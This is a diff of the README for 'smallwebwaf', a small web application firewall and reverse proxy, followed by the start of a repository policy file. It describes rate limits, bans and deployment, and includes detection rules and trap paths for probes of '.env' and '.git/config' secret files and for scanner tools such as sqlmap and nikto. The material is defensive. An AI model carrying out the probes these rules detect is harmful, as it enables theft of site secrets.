+waits at most 2 seconds for `servewaf`'s answer, and without one passes the
+request to the app.
 
-The existing tools each solve part of this. Rule-based firewalls catch attack
-payloads but do not limit request rates. Rate limiters count requests but cannot
-tell a residential visitor from a rented server farm. The products that do most
-of it want several containers, a database and a web console. None of them can
-say "clients from these networks are banned after half as many requests as
-anyone else", which is the most useful thing to be able to say when nearly all
-abuse comes from a known list of AS numbers. [`EVALUATION.md`](EVALUATION.md)
-goes through the candidates one by one.
+`rproxy` requires one setting, `SWRP_WAF_BACKEND`, which says where `servewaf`
+is. In a container of its own, it also needs `SWRP_UPSTREAM_URL`, which says
+where the app is. Every other setting has a default chosen for a service on the
+open internet. [`SPEC.md`](SPEC.md) says how `smallwebwaf` behaves and why. The
+reference documents under [`docs/`](docs/) are listed under "Documents" below.
 
-`smallwebwaf` is meant to fill that gap:
+## What it protects against
 
-- protect a service from misbehaving scrapers and scanners with per-client
-  request and byte limits over a minute, an hour and a day;
-- lower those limits for the countries and AS numbers that abuse commonly comes
-  from, so their clients are banned after fewer requests than others;
-- ban abusers: briefly at first, longer each time they come back, and
-  permanently when they keep at it; a scanner's first probe bans it for seven
-  days;
-- log everything in a form that is easy to search and ship elsewhere;
-- stay small enough to understand: one binary in the app's own container,
-  environment variables, no database, no required setting.
+- Scrapers that fetch every page of a site, all day. Rate limiting gives each
+  client 500 requests a minute, 20,000 an hour and 300,000 a day. That leaves
+  room for programmatic use of an API, such as an automation fleet on another
+  host. A fleet of about 20 agents makes about 120 requests a minute at its
+  busiest. A gitea page opened with an empty cache loads about 40 files, so a
+  few such first visits fit in the minute limit too. The minute limit catches,
+  within seconds, a client firing requests as fast as it can. The hour limit
+  catches a client that keeps up more than about 5.5 a second for an hour. The
+  day limit catches a client that keeps up 4 a second around the clock. Counting
+  cannot catch a client that stays under all three limits, such as one that
+  keeps up 3 a second; only the protections below can. Byte limits give each
+  client 4 GiB a minute, 20 GiB an hour and 200 GiB a day. A client over a limit
+  is refused and banned. The first ban lasts an hour. Each repeat within a day
+  makes the next ban three times as long. A ban that would last more than seven
+  days is permanent.
+- Scanners that probe for secrets, such as `/.env` or `/.git/config`. The
+  default rule file bans such a client for seven days at its first probe. Its
+  next request during the ban makes the ban permanent. The default rule file
+  does not cover probes for other apps, such as a WordPress login. A `ban` rule
+  of your own, or an entry in `SWWAF_TRAP_PATHS`, bans those the same way.
+- Attacks carried in a request's URL or headers, such as SQL injection and path
+  traversal. The OWASP Core Rule Set is a published set of rules that recognise
+  common web attacks. Coraza, a Go engine, runs those rules (see "Attack
+  detection" in [`SPEC.md`](SPEC.md)). A request the rules take for an attack is
+  refused.
+- Abuse from networks and countries you do not want. You can:
+    - refuse whole netblocks and countries;
+    - give the clients of chosen networks and countries a fraction of every
+      limit, so that they are banned sooner;
+    - refuse or limit clients on a blocklist or a DNS blocklist, or with a high
+      AbuseIPDB score;
+    - ban clients named by your own CrowdSec engine.
+- Slow and oversized requests. Every request and every answer has a time limit
+  and a size limit.
 
-## Proposed features
+For the operator, it:
 
-- Reverse proxy for one application, streaming in both directions, with
-  WebSocket support. One `smallwebwaf` per app, inside the app's own container.
-- Internet-ready out of the box: no setting is required, and every setting has a
-  default chosen for a service facing the internet in 2026. Every setting's name
-  starts with `SWWAF_`, so that it cannot clash with the app's own.
-- Real client address worked out from `X-Forwarded-For`, trusting only the proxy
-  networks you list, by default the private address ranges. IPv6 clients are
-  counted by /64 by default.
-- Size and time limits on requests and responses, with the time limits both
-  between the client and `smallwebwaf` and between `smallwebwaf` and the app: by
-  default a request may take 60 seconds and 100 MiB, a response 30 minutes and 5
-  GiB.
-- Rate limits per client on requests per minute, per hour and per day, and on
-  bytes per minute, per hour and per day, on by default and set well above what
-  real visitors need.
-- Netblocks that bypass rate limiting, netblocks that bypass everything, and
-  netblocks that are always refused.
-- AS number and country lookup for every client, on by default through the free
-  GeoJS web service, which is sent the address of every new visitor. The IPinfo
-  Lite database file, which you download and mount, can be used instead, or
-  lookups switched off (see "Country and AS number lookup" below).
-- Country lists: `SWWAF_DENIED_COUNTRIES` refuses every request from the
-  countries listed, `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` every request from
-  anywhere else. Such a request gets the answer a banned client gets as soon as
-  the client's address has been looked up, before its body is read and without
-  the rule files or the Core Rule Set looking at it, and no ban is made.
-- Biased limits: listed AS numbers and countries get a percentage of every
-  limit, for example 50 percent for common abuse-source networks, so their
-  clients are banned after fewer requests. Zero percent is a zero allowance: the
-  first request breaks the limit and bans the client.
-- Attack detection:
-    - a directory of plain text rule files, one regex per line, for catching
-      scanning and penetration probes; easy to edit by hand, and picked up while
-      running;
-    - the OWASP Core Rule Set, run by the Coraza engine, refusing the requests
-      it flags; it reads the URL and headers of every request, and request
-      bodies only once you switch that on, since on a code forge they are full
-      of code it would take for attacks;
-    - trap paths, and a ban for a client that the rule files or the Core Rule
-      Set refuse again and again.
-- Bans:
-    - a clear sign of attack, such as a probe for a `.env` file or a scanner's
-      user agent, bans for seven days on the first request, and any further
-      request during those days makes the ban permanent;
-    - breaking a limit bans for an hour; breaking one again within a day of a
-      ban ending triples the length, and a ban that would last longer than seven
-      days is permanent instead;
-    - every ban carries notes on why it was made, to help decide whether to lift
-      it.
-- IP reputation: downloadable blocklists, DNS blocklists, AbuseIPDB, and an
-  optional feed of decisions from a CrowdSec engine. Lookups happen in the
-  background and never delay a request. None is on until you add it.
-- Alerts on attacks and bans to a generic webhook, Slack or ntfy, with a
-  cooldown and an hourly cap so a wide attack cannot flood the channel.
-- Anomaly alerts when requests or bytes per minute or hour cross a threshold you
-  set, for a single client, its surrounding netblock, an AS number, a named
-  netblock or the whole service.
-- Observe mode: log and alert on every decision while refusing nothing.
-- Request log: one JSON object per request on stdout with the usual web log
-  fields, the decision taken and why, AS number and country, and timings.
-  Optionally also sent to a remote syslog server.
-- Prometheus metrics, for a scraper that holds the metrics token.
-- State (bans with their notes, each client's counters and history, the GeoJS
-  answers, the reputation cache, the alerting state) held in memory and kept in
-  readable JSON files, written regularly and at every stop, so a restart loses
-  nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks
-  up the change. Nothing is read from disk while serving a request.
-- Health checks, the metrics, and listing, adding and lifting bans or asking why
-  a given address was refused, all on the one port every request uses: under
-  `/_smallwebwaf/` on the app's own address, through traefik like any other
-  request. The metrics need the metrics token, and the ban management the admin
-  token.
+- logs each request as JSON lines, saying what it did and why (see
+  [`docs/request-log.md`](docs/request-log.md));
+- sends alerts to a webhook, Slack or ntfy (see
+  [`docs/alerts.md`](docs/alerts.md));
+- serves Prometheus metrics (see [`docs/metrics.md`](docs/metrics.md));
+- keeps its bans, counters and history in JSON files you can read and edit, so
+  that a restart loses nothing and a ban can be lifted with an editor (see
+  [`docs/state-files.md`](docs/state-files.md)).
 
-Not planned: TLS termination, routing for several apps, browser challenges
-(captcha or proof of work), a web console, or defence against floods large
-enough to fill the host's network link.
+Not built, and not planned:
 
-## How it works, in short
+- TLS and routing by host name. Both stay with traefik, the reverse proxy in
+  front of `rproxy`.
+- Browser challenges such as captchas.
+- A web console.
+- Defence against floods large enough to fill the host's network link.
 
-For each request `smallwebwaf`:
+## Getting started
 
-- works out who the client really is;
-- lets it straight through if it is on the bypass list, refuses it if it is on
-  the deny list or currently banned;
-- looks up its AS number and country, and refuses it if that country is denied,
-  or is not among the only ones allowed;
-- checks for a cached reputation verdict;
-- picks the client's limit percentage from those;
-- checks the minute, hour and day request counters against the limits, and bans
-  the client if it breaks one;
-- checks the request against the rule files and the Core Rule Set, and bans the
-  client at once for a clear sign of attack;
-- forwards it to the app and streams the response back, within the size and time
-  limits;
-- counts the bytes and any refusal by the rule files or the Core Rule Set, bans
-  the client if it broke a limit, updates its history, sends any alerts that are
-  due, and writes the log line.
+Build the image from a clone. `make docker` runs the tests and the linter, then
+builds the image, tagged `smallwebwaf`. It builds for amd64, on an amd64 host
+only: the `Dockerfile` checks Ubuntu's package lists against the hashes of the
+amd64 archive.
 
-A minimal deployment is the app's own Dockerfile, built on the `smallwebwaf`
-image, with no setting. That image is built on Ubuntu 26.04 LTS, the newest
-long-term support release of Ubuntu, pinned by digest, and moves to the next one
-when it ships. It has nixpkgs installed, so the app adds the packages it needs
-from nixpkgs. Beyond its `FROM` line the app's Dockerfile adds the app's binary,
-any packages it needs, and the app's runit service, which starts the app as a
-user of its own, listening on `127.0.0.1:8081`:
+```sh
+git clone https://git.eeqj.de/sneak/smallwebwaf.git
+cd smallwebwaf
+make docker
+```
+
+Push the image to a registry your hosts pull from.
+
+The image runs `rproxy` by default. To run `servewaf` from the same image, set
+the container's `SMALLWEBWAF_COMMAND` to `servewaf`.
+
+### The usual setup: three containers
+
+The usual setup is three containers on one private network:
+
+- the app;
+- `rproxy`, in front of the app, which traefik routes to;
+- `servewaf`, with a volume for its state files.
+
+```sh
+docker network create site
+
+docker run --detach --name servewaf --network site \
+    --env SMALLWEBWAF_COMMAND=servewaf \
+    --volume servewaf-state:/var/lib/smallwebwaf \
+    <registry>/smallwebwaf@sha256:<digest>
+
+docker run --detach --name app --network site \
+    <registry>/app@sha256:<digest>
+
+docker run --detach --name rproxy --network site \
+    --env SWRP_WAF_BACKEND=http://servewaf:8080 \
+    --env SWRP_UPSTREAM_URL=http://app:8081 \
+    <registry>/smallwebwaf@sha256:<digest>
+```
+
+Here the app listens on port 8081, at its container's address on that network.
+Point traefik's labels at port 8080 of `rproxy`
+(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
+of the app or of `servewaf`. Anything on that network can reach the app around
+`rproxy`, and can ask `servewaf` questions.
+
+With no setting, `servewaf` sends the address of every new visitor to GeoJS, a
+web service, to find its country and network. `SWWAF_LOOKUP_SOURCE=off` sends
+nothing. `SWWAF_LOOKUP_SOURCE=file`, with `SWWAF_LOOKUP_DB_PATH` naming a
+database file on your own host, looks addresses up in that file (see "Lookup of
+AS number and country" in [`SPEC.md`](SPEC.md)).
+
+### Many sites, one `servewaf`
+
+Run one `rproxy` for each app, all with `SWRP_WAF_BACKEND` naming the same
+`servewaf`. It keeps one table of clients and bans for all of them:
+
+- A client banned through one site is refused on all of them.
+- A client's requests on all of them count toward one set of limits.
+- Log lines, alerts and ban notes name the site by its host.
+
+### `rproxy` in the app's container
+
+An app's image can also be built on the `smallwebwaf` image, so that `rproxy`
+runs beside the app. `servewaf` still runs in a container of its own. The app's
+`Dockerfile` starts `FROM` the `smallwebwaf` image, named by digest, and adds:
+
+- the app's binary;
+- the packages the app needs, from the nixpkgs in the image;
+- a user for the app;
+- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
+  of `SWRP_UPSTREAM_URL`.
 
 ```dockerfile
 # The smallwebwaf image, pinned by digest.
-FROM <registry>/smallwebwaf:<pinned digest>
+FROM <registry>/smallwebwaf@sha256:<digest>
 
 # Packages the app needs, if any, from the nixpkgs in the image.
 RUN nix-env -iA nixpkgs.git
@@ -169,88 +172,309 @@ RUN useradd --system --no-create-home --shell /usr/sbin/nologin app
 COPY --chmod=755 app.run /etc/service/app/run
 ```
 
-with `app.run` beside the Dockerfile, where `--listen` and `--trusted-proxies`
-stand for the app's own options:
+`app.run` sits beside the `Dockerfile`. `--listen` and `--trusted-proxies` stand
+for the app's own options:
 
 ```bash
 #!/usr/bin/env bash
 set -euo pipefail
-sleep 1
-exec chpst -u app:app /usr/local/bin/app \
-    --listen 127.0.0.1:8081 \
-    --trusted-proxies 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.1/32,::1/128
+
+main() {
+    sleep 1
+    exec chpst -u app:app /usr/local/bin/app \
+        --listen 127.0.0.1:8081 \
+        --trusted-proxies 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.1/32,::1/128
+}
+
+main "$@"
 ```
 
-- The image's entrypoint, `runsvinit`, has runit start `smallwebwaf` and the app
-  side by side, each as its own user, and start either again a second after it
-  exits. Leave out `ENTRYPOINT` and `USER` from the app's Dockerfile.
-- `nix-env -iA nixpkgs.<name>` installs a package from the nixpkgs in the image,
-  and the app finds it on its `PATH`. That nixpkgs is fixed at one commit, so
-  the same `smallwebwaf` image always gives the app the same packages; newer
-  ones come with a newer `smallwebwaf` image.
-- Deploy it as you deploy any app, with traefik's labels on this one container
-  pointing at port 8080. upaas needs no change for this.
-- The app has to trust `127.0.0.1` and `::1` for forwarded headers, besides the
-  private address ranges, since the requests it gets now come from `smallwebwaf`
-  on loopback. An app left at the usual default, the private ranges alone, sees
-  every visitor as `127.0.0.1`.
-- Port 8080 is the only one the app must leave free: the health check, the
-  metrics and ban management are all on it, under `/_smallwebwaf/`. The image's
-  health check passes while `smallwebwaf` answers and the app accepts
-  connections.
-- `smallwebwaf` keeps its state files in `/var/lib/smallwebwaf`. Mount a volume
-  there to keep bans and client history when a deploy replaces the container;
-  without one, it still starts.
+Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
+entrypoint starts `rproxy` and the app side by side, each as its own user. Run
+the app's image with `SWRP_WAF_BACKEND` set.
 
-A rule file is one rule per line: a name, what to match against, what to do, and
-a regex.
+`deploy/example-app` is such an app. `make example-app` builds it and checks it
+(see "Checking that it works" below). To run `rproxy` and `servewaf` on the host
+while working on them, see `script/run` under "Entrypoints" below.
 
-```
-env-file       path        ban  (?i)^/\.env(\.[a-z]+)?$
-scanner-agent  user_agent  ban  (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
-```
+### When `servewaf` is down, slow or overloaded
 
-[`SPEC.md`](SPEC.md) has the full design: the deployment, every environment
-variable, the ban rules, the rule file format, the state files, the log fields,
-the metrics, failure behaviour and the build order.
+`SWRP_DEFAULT_DISPOSITION` decides what `rproxy` does with a request when
+`servewaf`:
 
-## Country and AS number lookup
+- cannot be connected to;
+- does not answer at all;
+- does not answer within `SWRP_TIMEOUT_MS`, 2 seconds by default.
 
-`smallwebwaf` looks up the AS number and country of every client, for the
-request log, the metrics and the ban notes, and for the country lists and biased
-limits when you set them. It works with no setup: by default it asks the free
-GeoJS web service, which needs no account and no file. This means that, by
-default, the address of every new visitor is sent to GeoJS. Each answer is kept
-in memory for seven days, and many addresses are asked about in one request;
-writing the answers to disk, so that they survive a restart, comes in milestone
-3 or later. GeoJS publishes no rate limit but may block a caller it thinks asks
-too much; while it is not answering, new visitors count as coming from an
-unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses.
+Its default, `allow`, passes the request to the app without `servewaf`'s answer.
+`deny` answers `503` instead. Either way the request gets no report, so its
+bytes are not counted and it is not added to its client's history. When
+`servewaf` does answer, a `deny` or an error goes to the visitor as `servewaf`
+gave it, and `SWRP_DEFAULT_DISPOSITION` plays no part.
 
-To keep your visitors' addresses on your own host, set
-`SWWAF_LOOKUP_SOURCE=off`, or use the database file instead of GeoJS:
-`SWWAF_LOOKUP_SOURCE=file` reads the free IPinfo Lite database
-(`ipinfo_lite.mmdb`). You download it with your own IPinfo account, mount the
-directory that holds it into the container, point `SWWAF_LOOKUP_DB_PATH` at the
-file and refresh it when you choose; `smallwebwaf` never downloads it itself,
-and reads it again when you replace it. It has to be the directory rather than
-the file itself: docker does not show a single mounted file being replaced, so a
-refresh would go unseen. IPinfo releases it under the Creative Commons
-Attribution-ShareAlike 4.0 International License and asks for attribution, in
-its own words on https://ipinfo.io/lite: "The attribution requirements can be
-met by giving our service credit as your data source. Simply place a link to
-IPinfo on the website, application, or social media account that uses our data."
-Its example of such a credit is a link mentioning "IP address data is powered by
-IPinfo". A service that uses the database through `smallwebwaf` should carry
-that link.
+## What happens to a request
 
-Neither source can place a private address, so a client on one, such as a
-visitor on your local network, another container or your monitoring, has no
-country: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless you list it in
-`SWWAF_ALLOW_NETS`. Such addresses are never sent to GeoJS.
+A request goes through fifteen steps, in this order. Once `servewaf` refuses a
+request, the steps after that are skipped, apart from the report of step 15, and
+nothing of the request reaches the app. "What happens to a request" in
+[`SPEC.md`](SPEC.md) gives each step in full, under the same numbers.
+
+`rproxy` takes the first two:
+
+1. The health check, `GET /_smallwebwaf/healthz`, is answered at once.
+2. The visitor's address is worked out, and `servewaf` is asked about the
+   request.
+
+`servewaf` takes the checks:
+
+3. The static lists, `SWWAF_ALLOW_NETS` and `SWWAF_DENY_NETS`.
+4. The bans.
+5. The lookup of the client's AS number and country.
+6. The country lists.
+7. The reputation sources.
+8. The client's limit percentage.
+9. The rate limits.
+10. The trap paths.
+11. The rule files.
+12. The header limits, and then the Core Rule Set.
+13. A path under `/_smallwebwaf/` is answered `404`, so that the app never sees
+    that prefix.
+
+`rproxy` takes the rest, with `servewaf` counting at the end:
+
+14. The request is passed to the app.
+15. After the answer, `rproxy` sends `servewaf` a report. For an allowed
+    request, `servewaf` counts the byte limits and adds the request to the
+    client's history.
+
+A refused visitor is answered with `SWWAF_BAN_RESPONSE`, `403` by default (see
+"Ban lengths, response and scope" in [`SPEC.md`](SPEC.md)). A `block` rule or a
+Core Rule Set match answers `403`. `rproxy` itself answers `405` to a method it
+does not pass on, and the status for a size or time limit, such as `413` for a
+body too large (see "`rproxy`" in [`SPEC.md`](SPEC.md)).
+
+## Settings you are likely to touch
+
+Each setting is an environment variable, read at start. Those of `servewaf`
+start with `SWWAF_`, and those of `rproxy` with `SWRP_`.
+[`docs/settings.md`](docs/settings.md) lists every setting, its default and the
+values it takes. The ones most deployments touch:
+
+- `SWWAF_MODE=observe`: `servewaf` refuses nothing and makes no ban of its own.
+  A request it would have refused is passed to the app, and its log line says
+  what `enforce` mode would have done. For trying a configuration before
+  enforcing it. The limits of `rproxy` still apply.
+- `SWWAF_ALLOW_NETS`: netblocks you trust, such as your monitoring. Their
+  clients skip `servewaf`'s checks.
+- `SWWAF_RATE_LIMIT_EXEMPT_NETS`: netblocks exempt from rate limiting and the
+  byte limits, such as a machine that talks to the app all day.
+- `SWWAF_TRAP_PATHS`: paths only scanners ask for, such as
+  `/wp-login.php,/xmlrpc.php` in front of a code forge. A request for one bans
+  the client.
+- `SWWAF_WAF_DISABLED_RULES`: Core Rule Set rule ids to switch off when a rule
+  refuses your app's ordinary requests. The log line names the rules a request
+  matched. Keep the six default ids in a list you give (see
+  [`docs/settings.md`](docs/settings.md)).
+- `SWRP_MAX_REQUEST_SIZE` and `SWRP_MAX_REQUEST_TIME_MS`: raise them for an app
+  that takes uploads over 100 MiB or slower than 60 seconds.
+- `SWRP_DEFAULT_DISPOSITION`: `allow` (the default) or `deny`, as above.
+- `SWRP_TRUSTED_PROXIES`: the netblocks whose `X-Forwarded-For` `rproxy`
+  believes, by default the private address ranges.
+- `SWWAF_LOOKUP_SOURCE`: `geojs` (the default), `file` or `off`, as above.
+- `SWWAF_ADMIN_TOKEN` and `SWWAF_METRICS_TOKEN`: switch on the ban endpoints and
+  the metrics, at `servewaf`'s own address.
+- `SWWAF_ALERT_WEBHOOK_URL`, `SWWAF_ALERT_SLACK_WEBHOOK_URL` or
+  `SWWAF_ALERT_NTFY_URL`: where alerts go.
+- `SWWAF_INSTANCE_NAME`: the name in every line `servewaf` logs, and in every
+  alert and metric, such as `fsn1/servewaf`.
+
+## Checking that it works
+
+- `docker inspect --format '{{.State.Health.Status}}' <container>` says
+  `healthy` for each container of `smallwebwaf`:
+    - for `rproxy`, once it answers and the app accepts connections, whether or
+      not `servewaf` answers;
+    - for `servewaf`, once it answers.
+- A log line with `"msg":"starting"` gives the version, the address and every
+  setting in effect, with secrets masked.
+- A request to the site through traefik gets the app's answer.
+  `https://<site>/_smallwebwaf/healthz` answers `ok`. `servewaf`'s log lines
+  about the request have `"action":"forward"`.
+- To see a refusal without banning yourself, run `servewaf` with
+  `SWWAF_MODE=observe` and ask for `/.env`. The request reaches the app.
+  `servewaf`'s log lines have `"would_action":"banned"` and
+  `"rule_ids":["env-file"]`. In `enforce` mode the same request bans your
+  address for seven days, and your next request makes the ban permanent. Lift
+  the ban by editing `bans.json` (see "Bans" in [`SPEC.md`](SPEC.md)).
+- With `SWWAF_METRICS_TOKEN` set, this answers with the metrics, from a host on
+  `servewaf`'s network:
+  `curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/metrics`.
+- `make example-app` builds the image and the example app on it, runs the app
+  with `rproxy` in its container and `servewaf` in another, and checks them. It
+  needs network access. It checks:
+    - the health checks;
+    - a request passed to the app;
+    - a ban for a broken limit, and a ban for a probe made permanent;
+    - that only `servewaf`'s container changes the state directory's owner;
+    - with `servewaf` stopped, the app still answering through `rproxy`;
+    - with `servewaf` started again, bans applying again;
+    - orderly stops with `sv stop` and `docker stop`;
+    - bans surviving a new container on the same volume;
+    - a setting given as a file.
+
+## Entrypoints
+
+This repository adheres to the
+[Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
+standard. The scripts in `script/` are the entrypoints for working on it, and
+the `Makefile` targets are thin shims that call them. The scripts are POSIX sh.
+The tests and the linter run in Docker, as phases of the `Dockerfile`, and never
+on the host.
+
+- `script/bootstrap`: installs on the host what the other scripts need, with
+  `make bootstrap`:
+    - `make`, `git` and `curl`;
+    - Go, for `gofmt`;
+    - node, yarn and prettier.
+- `script/setup`: readies a fresh clone: `script/bootstrap`, then
+  `script/install-precommit`. `make setup`.
+- `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
+  images with.
+- `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
+  tests, as the `test` phase of the `Dockerfile`. `make test`.
+- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
+  the `tidy` stage of the `Dockerfile`. `make tidy`.
+- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
+  `make lint`.
+- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
+  `make fmt`.
+- `script/fmt-check`: checks the formatting and changes nothing.
+  `make fmt-check`.
+- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
+  `make check`.
+- `script/docker`: builds the image, whose build runs the tests and the linter
+  first. `make docker`.
+- `script/cibuild`: what CI runs: `script/bootstrap`, `script/check`, then the
+  image build.
+- `script/precommit`: run by the git pre-commit hook; runs `script/check`.
+- `script/install-precommit`: installs that hook. `make hooks`.
+- `script/build`: builds `bin/smallwebwaf` with the Go on your host.
+  `make build`.
+- `script/run`: builds `bin/smallwebwaf` and runs `servewaf` and `rproxy` on the
+  host, with the settings in your environment. `make run`. Unless your settings
+  say otherwise:
+    - `rproxy` listens on port 8080, in front of an app at
+      `http://127.0.0.1:8081`;
+    - `servewaf` listens on port 8090;
+    - its state files go in `bin/state`;
+    - its rule files are those of `share/rules.d`.
+- `script/example-app`: builds the image and the example app on it, runs them
+  with a volume, and checks them as "Checking that it works" above describes.
+  Then it removes the containers, the network, the volumes and the images. Needs
+  network access. `make example-app`.
+- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind
+  `rproxy` and `servewaf`, three containers on one network. Every setting is at
+  its default, but for those that join the containers and the header that labels
+  each request. It sends through them a sample of gitea's ordinary use and the
+  requests the Core Rule Set is known to refuse, and prints what `servewaf` did
+  with each. Needs network access, and a docker daemon that pushes to a registry
+  on `localhost` over plain HTTP. [`docs/gitea.md`](docs/gitea.md) records the
+  results. `make gitea-requests`.
+
+## Rationale
+
+Small self-hosted sites receive a great deal of traffic nobody asked for:
+
+- scrapers that ignore `robots.txt` and crawl every commit of every repository
+  on a public git server;
+- scanners walking through lists of WordPress and `.env` paths;
+- credential-guessing bots.
+
+Most of it comes from a small number of hosting networks and countries. A
+single-person operation has no abuse desk and no CDN contract. It needs
+something small that can be put in front of its services and left alone.
+
+The existing tools each solve part of this. Rule-based firewalls catch attack
+payloads but do not limit request rates. Rate limiters count requests but cannot
+tell a residential visitor from a rented server farm. The products that do most
+of it want a database and a web console. None of them can say "clients from
+these networks are banned after half as many requests as anyone else". That is
+the useful thing to say when nearly all abuse comes from a known list of AS
+numbers. [`EVALUATION.md`](EVALUATION.md) goes through the candidates one by
+one.
+
+`smallwebwaf` fills that gap with:
+
+- per-client limits that ban;
+- lower limits for the networks and countries abuse comes from;
+- bans that grow with repetition;
+- a log that is easy to search and ship;
+- a site that keeps answering while the part that decides is down;
+- one binary, with no database and one required setting.
+
+## Design
+
+The `smallwebwaf` image is built on Ubuntu 26.04 LTS, pinned by digest, with
+nixpkgs fixed at one release. An app's `Dockerfile` installs a package with
+`nix-env -iA nixpkgs.<name>` and gets the same package each time it is built.
+[`docs/image.md`](docs/image.md) lists what the image holds and how each part is
+pinned.
+
+- runit, a service supervisor, runs `smallwebwaf` and starts it again when it
+  exits. In an app's image built on the `smallwebwaf` image, it runs `rproxy`
+  and the app side by side, each as its own user.
+- `rproxy` listens on port 8080 and passes requests to the app at
+  `SWRP_UPSTREAM_URL`. It answers the health check itself, and the refusals and
+  errors "`rproxy`" in [`SPEC.md`](SPEC.md) lists.
+- `servewaf` listens on port 8080 of its own container. Nothing should route the
+  internet there. Its own endpoints, under `/_smallwebwaf/`, are for your admin
+  tools and your metrics collector.
+- `rproxy` and `servewaf` use no token between them. Anything on their private
+  network can ask `servewaf` a question, or send it a report.
+- The app sees the headers traefik sent, with traefik's address added to
+  `X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
+  `rproxy`'s address for forwarded headers. With `rproxy` in the app's
+  container, that address is `127.0.0.1` or `::1`, which the private address
+  ranges leave out.
+- The state files live in `/var/lib/smallwebwaf` in `servewaf`'s container. A
+  volume mounted there keeps them across a deploy.
+- `docker stop` gives requests in progress five seconds to finish. With `rproxy`
+  in the app's container, the app must keep answering for five seconds after
+  `SIGTERM` for that to help them.
+
+"Deployment" in [`SPEC.md`](SPEC.md) has the rest: the health checks, what
+happens when a process stops, moving a port, and the forwarded headers.
+"Architecture" in [`SPEC.md`](SPEC.md) lists the packages and what each does.
+
+## TODO
+
+- Planned, as "Planned, not built" in [`SPEC.md`](SPEC.md) describes: sending
+  the log over RELP.
 
 ## Documents
 
-- [`SPEC.md`](SPEC.md): the design.
+- [`SPEC.md`](SPEC.md): how `smallwebwaf` behaves, and why.
 - [`EVALUATION.md`](EVALUATION.md): what already exists, what each tool covers
   and misses, and why none was adopted.
+- [`REPO_POLICIES.md`](REPO_POLICIES.md): the policies this repository follows.
+- [`docs/settings.md`](docs/settings.md): every setting, its default and the
+  values it takes.
+- [`docs/rules.md`](docs/rules.md): the rule file format and the default file.
+- [`docs/admin-endpoints.md`](docs/admin-endpoints.md): the endpoints under
+  `/_smallwebwaf/`, with examples.
+- [`docs/request-log.md`](docs/request-log.md): the request log's fields.
+- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
+  gets.
+- [`docs/metrics.md`](docs/metrics.md): the metrics.
+- [`docs/state-files.md`](docs/state-files.md): the state files and what each
+  holds.
+- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
+- [`docs/gitea.md`](docs/gitea.md): `smallwebwaf` in front of gitea.
+
+## License
+
+MIT. See [`LICENSE`](LICENSE).
+
+## Author
+
+[@sneak](https://sneak.berlin)

REPO_POLICIES.md

@@ -0,0 +1,679 @@
+---
+title: Repository Policies
+last_modified: 2026-10-04
+---
+
+This document covers repository structure, tooling, and workflow standards. Code
+style conventions are in separate documents:
+
+- [Code Styleguide](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE.md)
+  (general, bash, Docker)
+- [Go](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE_GO.md)
+- [JavaScript](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE_JS.md)
+- [Python](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/CODE_STYLEGUIDE_PYTHON.md)
+- [Go HTTP Server Conventions](https://git.eeqj.de/sneak/prompts/raw/branch/main/prompts/GO_HTTP_SERVER_CONVENTIONS.md)
+
+---
+
+- Cross-project documentation (such as this file) must include
+  `last_modified: YYYY-MM-DD` in the YAML front matter so it can be kept in sync
+  with the authoritative source as policies evolve.
+
+- **ALL external references must be pinned by cryptographic hash.** This
+  includes Docker base images, Go modules, npm packages, GitHub Actions, and
+  anything else fetched from a remote source. Version tags (`@v4`, `@latest`,
+  `:3.21`, etc.) are server-mutable and therefore remote code execution
+  vulnerabilities. The ONLY acceptable way to reference an external dependency
+  is by its content hash (Docker `@sha256:...`, Go module hash in `go.sum`, npm
+  integrity hash in lockfile, GitHub Actions `@<commit-sha>`). No exceptions.
+  This also means never `curl | bash` to install tools like pyenv, nvm, rustup,
+  etc. Instead, download a specific release archive from GitHub, verify its hash
+  (hardcoded in the Dockerfile or script), and only then install. Unverified
+  install scripts are arbitrary remote code execution. This is the single most
+  important rule in this document. Double-check every external reference in
+  every file before committing. There are zero exceptions to this rule.
+
+- Every repo with software must have a root `Makefile` with these targets:
+  `make bootstrap`, `make setup`, `make test`, `make lint`, `make fmt` (writes),
+  `make fmt-check` (read-only), `make check` (runs `test`, `lint`, `fmt-check`),
+  `make docker`, and `make hooks` (installs pre-commit hook). A model Makefile
+  is at `https://git.eeqj.de/sneak/prompts/raw/branch/main/Makefile`.
+
+- Repos follow the
+  [Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
+  pattern: the implementation of each Makefile target lives in an executable
+  script in `script/` (`script/bootstrap`, `script/setup`, `script/test`,
+  `script/lint`, `script/fmt`, `script/fmt-check`, `script/check`,
+  `script/docker`), and the Makefile targets are thin shims that call them. The
+  scripts must be POSIX sh (`#!/bin/sh`, `set -eu`, no bashisms) so they run in
+  minimal containers (e.g. alpine images have no bash); locate the repo root
+  with `$(cd "$(dirname "$0")/.." && pwd -P)` and `cd` there before acting. From
+  the standard's canonical set we use `bootstrap`, `setup` (make the repo ready
